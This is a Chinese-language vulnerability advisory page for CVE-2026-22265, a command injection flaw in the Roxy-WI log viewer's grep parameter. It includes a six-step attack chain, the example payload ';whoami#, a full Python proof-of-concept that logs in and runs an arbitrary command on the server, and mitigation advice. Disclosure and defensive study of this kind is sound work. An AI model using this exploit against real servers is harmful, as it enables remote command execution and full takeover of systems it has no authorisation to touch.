IPBUF安全漏洞报告
English
CVE-2026-22265 CVSS 7.5 高危

CVE-2026-22265 Roxy-WI日志查看功能命令注入漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-22265
漏洞类型
命令注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Roxy-WI

相关标签

命令注入Roxy-WICVE-2026-22265远程代码执行高危漏洞Haproxy管理Nginx管理Apache管理Web管理界面

漏洞概述

Roxy-WI是一款用于管理Haproxy、Nginx、Apache和Keepalived服务器的Web管理界面。在8.2.8.2之前的版本中,日志查看功能存在命令注入漏洞,允许经过身份验证的低权限用户执行任意系统命令。该漏洞源于app/modules/roxywi/logs.py第87行,grep参数被使用了两次:一次经过清理,一次是原始输入。攻击者可以利用此漏洞通过精心构造的grep参数绕过安全检查,在服务器上执行任意系统命令,从而获取服务器完全控制权。此漏洞无需用户交互即可利用,但需要攻击者拥有有效的用户账户(低权限即可)。CVSS评分7.5,属于高危漏洞,对机密性、完整性和可用性均造成严重影响。

技术细节

该命令注入漏洞位于Roxy-WI的日志查看模块(app/modules/roxywi/logs.py)中。具体问题在于第87行的grep参数处理逻辑存在双重标准:第一次使用参数时进行了安全清理(sanitization),但第二次使用时直接使用了原始(raw)未清理的输入。攻击者可以通过在grep参数中注入分号(;)、管道符(|)或反引号(`)等shell特殊字符,绕过第一次的安全检查,在第二次使用时执行任意系统命令。例如,攻击者可以构造类似';whoami#的payload来执行系统命令。由于该漏洞存在于日志查看功能中,攻击者需要先登录系统获取有效的会话凭证,但即使是低权限账户也能成功利用此漏洞。修复版本为8.2.8.2,官方已在GitHub上发布了安全补丁。

攻击链分析

STEP 1
步骤1
攻击者获取Roxy-WI有效用户账户(低权限账户即可)
STEP 2
步骤2
攻击者登录Roxy-WI管理界面,获取有效会话
STEP 3
步骤3
攻击者访问日志查看功能(/logs),在grep参数中注入恶意payload
STEP 4
步骤4
Payload绕过第一次sanitization检查,在第二次使用时触发命令执行
STEP 5
步骤5
攻击者在服务器上执行任意系统命令,如读取敏感文件或建立后门
STEP 6
步骤6
攻击者获取服务器完全控制权,可横向移动或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-22265 Roxy-WI Command Injection PoC Affected: Roxy-WI < 8.2.8.2 Reference: https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mmmf-vh7m-rm47 """ import requests import sys from urllib.parse import quote def exploit_roxywi(target_url, username, password, command): """ Exploit CVE-2026-22265: Command injection in logs.py grep parameter Args: target_url: Base URL of Roxy-WI instance username: Valid user credentials (low privilege is sufficient) password: User password command: System command to execute """ session = requests.Session() # Step 1: Login to obtain session login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False # Step 2: Inject command via grep parameter in logs module # The vulnerability is in app/modules/roxywi/logs.py line 87 # grep parameter is used twice - once sanitized, once raw logs_url = f"{target_url}/logs" # Payload: escape sanitization and inject command # Using semicolon to chain commands, then comment out rest payload = f"'; {command} #" encoded_payload = quote(payload) exploit_data = { 'serv': '1', 'grep': encoded_payload, 'log': '/var/log/haproxy.log' } response = session.post(logs_url, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Command injection successful!") print(f"[*] Command executed: {command}") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 cve-2026-22265.py <target_url> <username> <password> <command>") print("Example: python3 cve-2026-22265.py http://localhost:8080 admin password 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] print(f"[*] Targeting: {target}") print(f"[*] Credentials: {user}:{pwd}") print(f"[*] Target command: {cmd}") exploit_roxywi(target, user, pwd, cmd)

影响范围

Roxy-WI < 8.2.8.2

防御指南

临时缓解措施
立即将Roxy-WI升级到8.2.8.2版本。如果无法立即升级,可采取以下临时措施:1) 限制管理界面的网络访问,仅允许可信IP访问;2) 禁用不必要的用户账户;3) 监控日志文件中的可疑命令注入模式;4) 考虑使用Web应用防火墙(WAF)规则过滤grep参数中的特殊字符(如分号、管道符、反引号等)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表